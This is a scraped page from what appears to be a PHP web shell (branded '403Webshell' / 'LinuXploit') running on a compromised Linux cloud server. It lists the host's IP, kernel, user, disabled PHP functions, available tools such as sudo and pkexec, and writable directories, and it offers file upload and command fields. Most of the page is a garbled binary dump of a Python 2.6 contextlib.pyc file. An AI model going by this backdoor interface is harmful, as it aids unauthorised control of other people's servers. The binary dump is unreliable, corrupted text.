403Webshell
Server IP : 43.141.50.122  /  Your IP : 113.219.202.44
Web Server : Apache
System : Linux VM-8-5-opencloudos 6.6.34-9.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 19 19:35:45 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.1.27
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/qcloud/monitor/python26/lib/python2.6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyc
��
z?�fc@sydZddkZddklZdddgZdefd��YZd	�Zed
��Zdefd��YZ	dS(s4Utilities for with-statement contexts.  See PEP 343.i����N(twrapstcontextmanagertnestedtclosingtGeneratorContextManagercBs)eZdZd�Zd�Zd�ZRS(s%Helper for @contextmanager decorator.cCs
||_dS(N(tgen(tselfR((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyt__init__scCs7y|ii�SWntj
otd��nXdS(Nsgenerator didn't yield(Rtnextt
StopIterationtRuntimeError(R((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyt	__enter__scCs�|djo8y|ii�Wntj
odSXtd��n�|djo
|�}ny&|ii|||�td��Wn@tj
o}||j	Sti�d|j	o�q�nXdS(Nsgenerator didn't stops#generator didn't stop after throw()i(tNoneRRR	R
tthrowtsystexc_info(Rttypetvaluet	tracebacktexc((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyt__exit__s 


(t__name__t
__module__t__doc__RRR(((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyRs		cst���fd��}|S(s�@contextmanager decorator.

    Typical usage:

        @contextmanager
        def some_generator(<arguments>):
            <setup>
            try:
                yield <value>
            finally:
                <cleanup>

    This makes this:

        with some_generator(<arguments>) as <variable>:
            <body>

    equivalent to this:

        <setup>
        try:
            <variable> = <value>
            <body>
        finally:
            <cleanup>

    cst�||��S(N(R(targstkwds(tfunc(s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pythelperQs(R(RR((Rs>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyR5scgs�g}g}d}zcyIx=|D]5}|i}|i}|i|��|i|�qW|VWnti�}nXWdxI|oA|i�}y||�o
d}nWq{ti�}q{Xq{W|djo|d|d|d�nXdS(sSupport multiple context managers in a single with-statement.

    Code like this:

        with nested(A, B, C) as (X, Y, Z):
            <body>

    is equivalent to this:

        with A as X:
            with B as Y:
                with C as Z:
                    <body>

    Niii(NNN(NNN(NNN(RRRtappendRRtpop(tmanagerstexitstvarsRtmgrtexittenter((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyRWs0			

cBs)eZdZd�Zd�Zd�ZRS(s2Context to automatically close something at the end of a block.

    Code like this:

        with closing(<module>.open(<arguments>)) as f:
            <block>

    is equivalent to this:

        f = <module>.open(<arguments>)
        try:
            <block>
        finally:
            f.close()

    cCs
||_dS(N(tthing(RR$((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyR�scCs|iS(N(R$(R((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyR�scGs|ii�dS(N(R$tclose(RR((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyR�s(RRRRRR(((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyR�s		(
RRt	functoolsRt__all__tobjectRRRR(((s>/usr/local/qcloud/monitor/python26/lib/python2.6/contextlib.pyt<module>s-	",

Youez - 2016 - github.com/yon3zu
LinuXploit